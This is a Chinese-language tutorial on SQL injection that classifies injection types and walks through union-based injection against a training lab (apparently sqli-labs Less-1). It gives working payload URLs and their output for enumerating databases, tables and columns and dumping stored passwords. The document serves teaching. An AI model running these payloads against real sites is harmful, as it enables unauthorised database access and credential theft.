Skip to content

SQL 注入概述

从客观角度来看,SQL 注入是因为前端输入控制不严格造成的漏洞,使得攻击者可以输入对后端数据库有危害的字符串或符号,使得后端数据库产生回显或执行命令,从而实现对于数据库或系统的入侵。

从攻击者角度来看,需要拼接出可以使后端识别并响应的 SQL 命令,从而实现攻击。

注入点可以在任何用户可控的参数上,例如:URL路径、GET/POST请求参数、HTTP请求头等。

注入类型

根据注入参数类型分类

  • 数字型注入
  • 字符型注入

根据注入效果分类

  • 联合注入
  • 报错注入
  • 无显盲注(布尔盲注、时间盲注)
  • 堆叠注入
  • 宽字节注入
  • 二次注入

根据提交方式分类

  • GET注入
  • POST注入
  • HTTP头注入(UA注入、XFF注入)
  • COOKIE注入

注入流程

  1. 注入类型判断
  2. 查询字段个数
  3. 查询回显位置
  4. 查询当前库名
  5. 查询所有表名
  6. 查询所有列名
  7. 查询字段信息

注入类型判断

首先我们要判断是否存在注入,若存在,则判断是字符型还是数字型。简单来说就是数字型不需要符号包裹,而字符型需要符号包裹。

数字型

sql
select * from table where id=$id

字符型

sql
select * from table where id='$id'

判断类型的方法

使用 and 型结合永真式和永假式。

数字型

sql
# 永真式
select * from table where id=1 and 1=1
# 永假式
select * from table where id=1 and 1=2

若永假式运行错误,则说明此SQL注入为数字型注入。

字符型

sql
# 永真式
select * from table where id='1' and '1'='1'
# 永假式
select * from table where id='1' and '1'='2'

若永假式运行错误,则说明此SQL注入为字符型注入。

示例:

http://xxx/Less-1/?id=1'

回显:

Welcome Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

SQL 注入中注释的使用非常重要。在 MySQL 中提供了三种注释方法:

  • # 不建议直接使用,会被浏览器当做锚点,建议使用其 URL 编码形式 %23
  • --+ 本质上是 --空格+ 会被浏览器解释为空格,也可以使用 URL 编码形式 %20
  • /**/ 多行注释,常被用作空格

示例:

http://xxx/Less-1/?id=1' --+

回显:

Welcome Dhakkan
Your Login name: Dumb
Your Password: Dumb

查询字段个数

order by 是 MySQL 中对查询数据进行排序的方法:

sql
select * from 表名 order by 列名(或者数字) asc;  -- 升序(默认升序)
select * from 表名 order by 列名(或者数字) desc; -- 降序

示例:

http://xxx/Less-1/?id=1' order by 4 --+

回显:

Welcome Dhakkan
Unknown column '4' in 'order clause'

除了 order by 以外,与之相同的还有 group by (数据分组)。

联合查询注入

联合注入即 union 注入,其作用是在原来查询条件的基础上,通过系统关键字 union 拼接上我们自己的 select 语句,然后把后面 select 得到的结果将拼接到前面 select 的结果后边。

示例:

sql
select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

联合注入有它的利用条件,union 内部的 select 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 select 语句中的列的顺序必须相同。

查询回显位置

我们使用 union select 1,2,3... 来对位置的顺序进行判断(其中数字代表是几号显示位)。

同时我们需要让默认的查询为空,也就是将 1 改为 -1,这样查询一个不存在的 id,使得第一句为空,只显示第二句的结果。

示例:

http://xxx/Less-1/?id=-1' union select 1,2,3 --+

回显:

Welcome Dhakkan
Your Login name: 2
Your Password: 3

查询当前库名

database() 函数主要是返回当前(默认)数据库的名称。

示例:

http://xxx/Less-1/?id=-1' union select 1,2,database() --+

回显:

Welcome Dhakkan
Your Login name: 2
Your Password: security

查询所有库名

查询所有数据库的名称可以利用 information_schema

在 MySQL 版本大于 5.0 时内置,保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。你可以认为是 MySQL 的百科全书。其中的 .tables.columns 经常用到,而 MySQL 版本小于 5.0 时,则没有此表,你想获取所有库/表/字段名只能通过爆破或猜解。

group_concat() 的作用是把回显放到一行里,便于观察。

示例:

http://xxx/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

回显:

Welcome Dhakkan
Your Login name: 2
Your Password: information_schema,challenges,mysql,performance_schema,security

查询所有表名

示例:

http://xxx/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

回显:

Welcome Dhakkan
Your Login name: 2
Your Password: emails,referers,uagents,users

查询所有列名

示例:

http://xxx/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

回显:

Welcome Dhakkan
Your Login name: 2
Your Password: id,username,password

查询字段信息

示例:

http://xxx/Less-1/?id=-1' union select 1,2,group_concat(password) from users --+

回显:

Welcome Dhakkan
Your Login name: 2
Your Password: Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4